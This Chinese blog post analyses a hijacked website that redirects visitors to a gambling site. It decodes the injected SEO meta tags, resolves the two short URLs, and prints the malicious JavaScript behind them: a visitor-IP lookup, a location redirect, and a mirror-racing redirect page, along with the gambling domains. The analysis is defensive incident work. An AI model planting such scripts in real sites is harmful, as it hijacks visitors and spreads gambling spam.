本文讨论分析了近期一网站遭到页面劫持的具体手段。

打开网站后,没有显式网站本身的内容,而是立刻跳转到一个菠菜网站:www.01365cpw.com

Fig.1 Page hijacking to a gambling web page
Fig.1 Page hijacking to a gambling web page

被劫持网站首页部分代码如下图:

Fig.2 hijacked home page
Fig.2 hijacked home page

1. 增加META标签

可以看出,首页HEAD被增加了META keywordsdescription标签,用于SEO。

keywords:

<meta name="keywords" content="&#98;&#101;&#116;&#51;&#54;&#53;&#32593;&#19978;&#23089;&#20048;&#22330;&#44;&#98;&#101;&#116;&#51;&#54;&#53;&#32593;&#19978;&#36275;&#29699;&#44;&#32593;&#19978;&#98;&#101;&#116;&#51;&#54;&#53;&#44;&#98;&#101;&#116;&#51;&#54;&#53;&#36275;&#29699;&#32593;&#44;&#98;&#101;&#116;&#51;&#54;&#53;&#27604;&#20998;&#32593;&#44;&#98;&#101;&#116;&#51;&#54;&#53;&#27491;&#32593;&#44;&#33521;&#22269;&#98;&#101;&#116;&#51;&#54;&#53;&#23448;&#26041;&#32593;&#44;&#98;&#101;&#116;&#51;&#54;&#53;&#20307;&#32946;&#22312;&#32447;&#32593;&#25237;&#44;&#98;&#101;&#116;&#51;&#54;&#53;&#28378;&#29699;&#32593;&#44;&#98;&#101;&#116;&#51;&#54;&#53;&#36275;&#29699;&#21363;&#26102;&#27604;&#20998;&#32593;&#44;&#98;&#101;&#116;&#51;&#54;&#53;&#24425;&#31080;&#32593;&#44;&#98;&#101;&#116;&#51;&#54;&#53;&#23448;&#26041;&#32593;&#25237;&#44;&#98;&#101;&#116;&#51;&#54;&#53;&#30495;&#32593;&#44;&#98;&#101;&#116;&#51;&#54;&#53;&#36275;&#29699;&#20449;&#35465;&#32593;&#44;&#98;&#101;&#116;&#51;&#54;&#53;&#19979;&#27880;&#32593;&#10;&#10;"/>

这是unicode编码,转换后:

bet365网上娱乐场,bet365网上足球,网上bet365,bet365足球网,bet365比分网,bet365正网,英国bet365官方网,bet365体育在线网投,bet365滚球网,bet365足球即时比分网,bet365彩票网,bet365官方网投,bet365真网,bet365足球信誉网,bet365下注网

description:

<meta name="description" content="&#98;&#101;&#116;&#51;&#54;&#53;&#12304;&#29616;&#37329;&#22238;&#39304;&#31532;&#20116;&#26399;&#12305;&#24050;&#20840;&#37096;&#27966;&#36865;&#23436;&#25104;&#65292;&#35831;&#20250;&#21592;&#30331;&#38470;&#12304;&#51;&#54;&#53;&#54;&#54;&#55;&#54;&#46;&#99;&#111;&#109;&#12305;&#26597;&#25910;&#65292;&#26159;&#21542;&#20013;&#22870;&#35831;&#20197;&#31449;&#20869;&#20449;&#24687;&#21450;&#25910;&#21040;&#30340;&#23454;&#38469;&#37329;&#39069;&#20026;&#20934;&#65307;&#20026;&#31572;&#35874;&#21508;&#20301;&#26032;&#32769;&#29609;&#23478;&#30340;&#38271;&#26399;&#21402;&#29233;&#19982;&#25903;&#25345;&#65292;&#21518;&#32493;&#25105;&#20204;&#23558;&#25512;&#20986;&#21508;&#31867;&#20248;&#24800;&#31995;&#21015;&#27963;&#21160;&#65292;&#35831;&#24744;&#25345;&#32493;&#20851;&#27880;&#25105;&#20204;&#24182;&#36362;&#36291;&#25237;&#27880;&#65292;&#20877;&#27425;&#24685;&#21916;&#33719;&#24471;&#29616;&#37329;&#30340;&#29609;&#23478;&#65281;&#10;"/>

同样转换后:

bet365【现金回馈第五期】已全部派送完成,请会员登陆【3656676.com】查收,是否中奖请以站内信息及收到的实际金额为准;为答谢各位新老玩家的长期厚爱与支持,后续我们将推出各类优惠系列活动,请您持续关注我们并踊跃投注,再次恭喜获得现金的玩家!

这两个都是菠菜网站的信息。

2. 短网址

除了增加标签,还可以看到被嵌入了两个短网址,导致页面被劫持:

http://t.cn/RBAcEC8
http://t.cn/RBAaIdI

解析短网址:

  • t.cn/RBAcEC8: https://www.bcdas8.com/dq.js
  • t.cn/RBAaIdI: https://www.bcdas8.com/365301.js

2.1 分析ds.js

dq.js:

document.writeln("<script src=\'http://pv.sohu.com/cityjson?ie=utf-8\' charset=\'GB2312\' ></script>");

打开http://pv.sohu.com/cityjson?ie=utf-8,记录访问者的ip,城市id,和城市名:

Fig.3 recode visitor data
Fig.3 recode visitor data

2.2 分析365301.js

365301.js如下图:

Fig.4 365301.js
Fig.4 365301.js

具体代码:

(function () {
    /*百度推送代码*/
     var bp = document.createElement('script');
     bp.src = '//push.zhanzhang.baidu.com/push.js';
     var s = document.getElementsByTagName("script")[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代码*/
     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
     document.write('<script src="' + src + '" id="sozz"><\/script>');
     })();

var siteAry = new Array();
siteAry[0] = "https://2019d2.com/?123";
siteAry[1] = "https://2019d2.com/?123";
siteAry[2] = "https://2019d2.com/?123";
siteAry[3] = "https://2019d2.com/?123";
var _length = siteAry.length;
var myDate = new Date();
var _se = myDate.getSeconds();
var _index = _se%_length;
window.location= siteAry[_index];

这段js代码和1中提到一段代码是极其相似的。

网页跳转到https://2019d2.com/?123

Fig.5 2019d2.com/?123
Fig.5 2019d2.com/?123
<meta http-equiv="Content-Language" content="zh-CN">
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
<meta http-equiv="refresh" content="0.1;url=/zh-cn">

继续跳转到https://2019d2.com/zh-cn

Fig.5 2019d2.com/zh-cn
Fig.5 2019d2.com/zh-cn

代码:

<!DOCTYPE html>
<html>
<head>
<meta charset="gb2312">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>正在进入</title>
<meta name="description" content="正在进入">
<meta name="keywords" content="正在进入">
<link href="" rel="stylesheet">
<script language="javascript">
times=1
setInterval("times++",100)
b=1
var autourl=new Array() // 检测的站点
autourl[1]="https://01365cpw.com/"
autourl[2]="https://01365cpw.com/"
autourl[3]="https://01365cpw.com/"
autourl[4]="https://01365cpw.com/"
autourl[5]="https://www.01365cpw.com/"
autourl[6]="https://www.01365cpw.com/"
autourl[7]="https://www.01365cpw.com/"

// 判断第一个反应的网站并进行跳转
function auto(url){
	window.location.replace(url);
	b++
}

// 进行故意错误请求并得到反应速度
function run(){
	for(var i=1;i<autourl.length;i++)
	document.write("<img src=http://"+autourl[i].split("//")[1].split("/")[0]+"/"+Math.random()+" width=1 height=1 onerror=auto('"+autourl[i]+"')>")
}
run()
</script>

</head>
<body>
    <!-- <a href="" target="_blank" onclick="run()"></a> -->
</body>
</html>

通过轮询,跳转到第一个反应的菠菜网站:www.01365cpw.com

可以分析可以看到,通过被修改加入的短网址,发生了多级跳转,最终网站被劫持到了一个菠菜网址。

PS: 本文分析过程中参考了1